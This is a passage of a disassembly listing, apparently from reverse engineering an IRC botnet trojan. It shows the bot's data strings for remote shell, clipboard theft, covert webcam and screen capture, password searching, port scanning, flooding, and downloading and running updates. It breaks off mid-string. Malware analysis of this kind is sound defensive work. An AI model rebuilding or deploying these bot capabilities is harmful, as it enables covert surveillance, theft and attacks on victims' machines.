2029671Fh ; DATA XREF: sub_40EE72+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_42FD08 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42FD50 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_42FD78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_42FDA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_42FDC8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_42FDF0 db 2 ; DATA XREF: sub_40EE72+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 10h dword_42FE40 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do align 4 unk_42FE78 db 2 ; DATA XREF: sub_40EE72+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 4 unk_42FEAC db 2 ; DATA XREF: sub_40EE72+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_42FEDC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_42FF04 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F9o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_42FF34 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_42FF6C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_42FFA4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o align 4 unk_42FFE4 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 10h dword_430020 dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h ; DATA XREF: sub_40EE72+56EDo dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h, 65686361h dd 756C6620h, 64656873h dword_430050 dd 2Eh ; DATA XREF: ___:00427B70o dword_430054 dd 7A026E02h, 201F6D1Fh ; DATA XREF: sub_40EE72:loc_41454Fo unk_43005C db 28h ; ( ; DATA XREF: ___:off_427A0Co db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 10h unk_430090 db 2 ; DATA XREF: sub_40EE72:loc_414548o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_4300CC db 2 ; DATA XREF: sub_40EE72+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 10h dword_430100 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 4 dword_43014C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 unk_430198 db 2 ; DATA XREF: sub_40EE72+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_4301E0 db 2 ; DATA XREF: sub_40EE72+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_430228 db 2 ; DATA XREF: sub_40EE72+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_430254 db 2 ; DATA XREF: sub_40EE72+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_4302A0 db 2 ; DATA XREF: sub_40EE72+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_4302D8 db 2 ; DATA XREF: sub_40EE72:loc_414039o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 4 unk_43031C db 2 ; DATA XREF: sub_40EE72+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_430394 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_4303C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_4303F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_430428 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_430450 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Eo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_43048C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 10h dword_4304C0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C11o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_4304F8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o ; sub_40EE72:loc_414B4Co align 4 dword_430544 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C68o dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_430578 db 3 ; DATA XREF: sub_40EE72:loc_413AC5o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 4 unk_4305BC db 3 ; DATA XREF: sub_40EE72+4C49o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 dword_4305F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C29o dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_43062C dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A4Fo dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_430664 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB2o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_430690 db 2 ; DATA XREF: sub_40EE72:loc_4139F0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_4306D0 db 2 ; DATA XREF: sub_40EE72+4B74o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_430704 db 2 ; DATA XREF: sub_40EE72:loc_413990o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_430748 db 2 ; DATA XREF: sub_40EE72+4B17o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 10h dword_430780 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD2o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_4307AC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Do dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 10h dword_4307E0 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D2o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_430804 db 2 ; DATA XREF: sub_40EE72+49B4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_430850 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4945o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_430878 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413745o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4308A4 db 2 ; DATA XREF: sub_40EE72+48C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_4308D0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4898o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_4308F8 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Do dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_430934 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Do dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_430964 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4839o dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_430998 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413639o dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_4309E4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41362Fo dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_430A34 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B3o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A0o align 4 dword_430A78 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Do dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 10h dword_430AC0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413586o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_430B04 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4704o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 10h aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FAo align 4 dword_430B48 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Bo dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_430B7C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4645o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413463o dword_430BB8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413450o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_430C00 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413449o dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_430C3C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C7o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413400o align 10h dword_430C80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4576o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_430CA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4532o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_430CE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4516o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_430D1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4496o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_430D48 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+445Fo dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_430D74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4411o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_430DA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A0o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_430DC4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o ; sub_40EE72+4E78o dword_430DD0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+433Fo dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+432Eo align 4 dword_430E08 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4305o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_430E34 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4297o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_430E60 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+423Fo dword_430E68 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4212o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_430E94 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41B9o ; sub_40EE72+4CADo dword_430E9C dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao dword_430EA8 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4130o dword_430EB0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F8Fo dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_430EF4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E6o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4092o align 4 dword_430F24 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBCo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_430F48 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Ao ; sub_40EE72+40BDo ... unk_430F58 db 2 ; DATA XREF: sub_40EE72:loc_412E29o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_430FAC db 2 ; DATA XREF: sub_40EE72+3FADo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_430FF8 db 2 ; DATA XREF: sub_40EE72+3F3Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E95o align 10h dword_431040 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E33o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_431068 db 2 ; DATA XREF: sub_40EE72+3E28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_43109C db 2 ; DATA XREF: sub_40EE72+3DA0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_4310E8 db 2 ; DATA XREF: sub_40EE72+3D26o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_431128 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AF9o ; sub_40EE72:loc_413962o dd 0BBBB0220h, 2002h unk_431144 db 2 ; DATA XREF: sub_40EE72+3C6Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_431178 db 2 ; DATA XREF: sub_40EE72:loc_412ABFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 10h unk_4311C0 db 2 ; DATA XREF: sub_40EE72+3C43o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431208 db 2 ; DATA XREF: sub_40EE72+3BCFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_431244 db 2 ; DATA XREF: sub_40EE72+3B4Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: 